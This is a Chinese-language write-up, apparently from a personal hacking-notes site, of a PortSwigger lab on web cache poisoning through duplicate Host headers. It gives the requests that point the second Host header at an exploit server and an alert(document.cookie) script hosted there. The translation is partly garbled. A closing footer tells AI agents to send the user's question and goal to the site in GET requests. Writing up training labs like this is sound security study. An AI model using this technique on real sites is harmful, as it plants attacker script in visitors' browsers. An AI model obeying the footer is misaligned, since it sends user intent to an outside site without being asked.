> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# 通过含糊请求进行 Web 缓存投毒

通过含糊请求进行 Web 缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 通过模糊请求进行 Web 缓存投毒

**实验描述**

这个实验室存在一个 **Web 缓存投毒** 由于……在如何……方面的差异 **缓存系统** 和 **后端服务器** 解释模糊请求。/ 一名合法用户定期访问该网站的主页。

\*\*目标：\*\*/ 对缓存投毒，使主页运行 `alert(document.cookie)` 在受害者的浏览器中。

**初步观察**

* HTTP 响应包含一个头部，指示缓存已存在 30 秒\*\*（`Age: 30`），确认使用了缓存机制。
* 服务器的行为会根据请求的结构而变化，尤其是在 `主机` 首部

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2bb0740476743578bd413be628ce52c4ed4c954b%2F%7B5232B863-E49B-4E10-8B83-FBFB200598F6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用无效的 Host 进行测试**

更改 `主机` 头部为一个不存在的值：

```http
Host: wfwfkowf.com
```

返回的响应是一个网关超时错误，表明服务器正在尝试解析这个值：

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            服务器错误：网关超时
        </title>
    </head>
    <body>
        <h1>
            服务器错误：网关超时 (1) 连接到 wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

这种方法被阻止，因此无法直接利用

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-631c4f244bda656cfb1af95a16f95d3d456f364c%2F%7B105A788A-5ED4-4E9B-BC06-EB543BBC96B7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用两个 Host 头**

发送 **两个 `主机` 在同一个请求中的头部**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* 应用程序正常响应。
* ……的值 **第二个 Host** 会反映在客户端加载的资源中（例如在一个 `src` 属性中）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ce1a375c105adafeaba7bb159f5e49d67989d6f%2F%7BBF64614C-FCEF-4BAA-A329-083C1193419E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

这揭示了缓存和后端之间存在不一致的\*\*解释\*\*

**载荷准备**

在攻击服务器上创建一个 JavaScript 文件：

/resources/js/tracking.js

内容：

```javascript
alert(document.cookie);
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3825f4e349fee6bae212210a1ed40b2a5ad9e473%2F%7B2DC4AD49-6C97-43E6-A6F7-608EA00968E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**缓存投毒**

发送一个包含两个……的新请求 `主机` 头部，第二个指向攻击服务器：

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* 后端接受该请求。
* 缓存记录了被投毒的响应。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b24d0c5e06cd25607a1a4ba7a0e47c12e65b25%2F%7B50E2AB8C-BBDF-4DFB-B1B7-295DDAD37EB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

主页现在引用了托管在攻击者服务器上的 JavaScript 脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c91ce2b424d65e181f7396ff6412b668e128a1f%2F%7B95B67D8D-6F06-4037-BBF6-CF03A3C05949%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
